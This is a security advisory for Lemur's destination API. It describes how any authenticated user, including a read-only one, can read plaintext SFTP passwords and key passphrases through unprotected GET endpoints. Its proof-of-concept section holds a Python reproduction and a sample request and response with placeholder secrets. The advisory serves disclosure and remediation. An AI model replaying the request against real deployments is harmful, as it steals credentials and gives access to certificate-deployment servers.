GHSA-6c8m-q6g9-vrw3: High severity pip/lemur vulnerability

Summary Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @adminpermission.require(httpexception=403), but the two read handlers are protected only by loginrequired (inherited from AuthenticatedResource). They do not even exclude read-only users.

The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.

Details Read endpoints lack the authorization that their write siblings enforce:

lemur/destinations/views.py python class DestinationsList(AuthenticatedResource): @validateschema(None, destinationsoutputschema) def get(self): # <-- only loginrequired; no admin/read-only gate ... return service.render(args)

@validateschema(destinationinputschema, destinationoutputschema) @adminpermission.require(httpexception=403) # write path IS gated def post(self, data=None): ...

class Destinations(AuthenticatedResource): @validateschema(None, destinationoutputschema) def get(self, destinationid): # <-- only loginrequired; no admin/read-only gate return service.get(destinationid)

@validateschema(destinationinputschema, destinationoutputschema) @adminpermission.require(httpexception=403) # write path IS gated def put(self, destinationid, data=None): ...

@adminpermission.require(httpexception=403) # write path IS gated def delete(self, destinationid): ...

The output schema emits all option values, including secret ones:

lemur/destinations/schemas.py python class DestinationOutputSchema(LemurOutputSchema): ... options = fields.List(fields.Dict()) # raw option dicts, incl. {"name":"password","value":...}

@postdump def fillobject(self, data): if data: data["plugin"]["pluginOptions"] = data["options"] # copied verbatim into plugin block too ... return data

options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

lemur/plugins/lemursftp/plugin.py python """ Passwords are not encrypted and stored as a plain text. """ options = [ ... {"name": "password", "type": "str", "required": False, ...}, # plaintext {"name": "privateKeyPass", "type": "str", "required": False, ...}, # plaintext ... ]

There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.

PoC Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

python from marshmallow import fields, postdump, Schema

class PluginOutputSchema(Schema): # verbatim from lemur/schemas.py id = fields.Integer(); label = fields.String(); description = fields.String() active = fields.Boolean(); options = fields.List(fields.Dict(), dumpto="pluginOptions") slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema): # verbatim from lemur/destinations/schemas.py id = fields.Integer(); label = fields.String(); description = fields.String() active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema) options = fields.List(fields.Dict()) @postdump def fillobject(self, data): if data: data["plugin"]["pluginOptions"] = data["options"] for option in data["plugin"]["pluginOptions"]: if "export-plugin" in option["type"]: option["value"]["pluginOptions"] = option["value"]["pluginoptions"] return data

class Destination: # a stored SFTP destination row id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True options = [ {"name": "host", "type": "str", "value": "10.0.5.20"}, {"name": "user", "type": "str", "value": "deploy"}, {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"}, {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"}, ] plugin = {"slug": "sftp-destination", "title": "SFTP", "description": "Allow the uploading of certificates to SFTP", "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data import json; print(json.dumps(out)) assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out) assert "rsa-key-passphrase-xyz" in json.dumps(out)

Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions: json {"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"}, {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...], "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...], "slug":"sftp-destination", ...}}

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT: GET /api/1/destinations/4 HTTP/1.1 Host: lemur.example.com Authorization: Bearer <low-priv-user-token>

HTTP/1.1 200 OK { "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }

Impact Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with adminpermission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.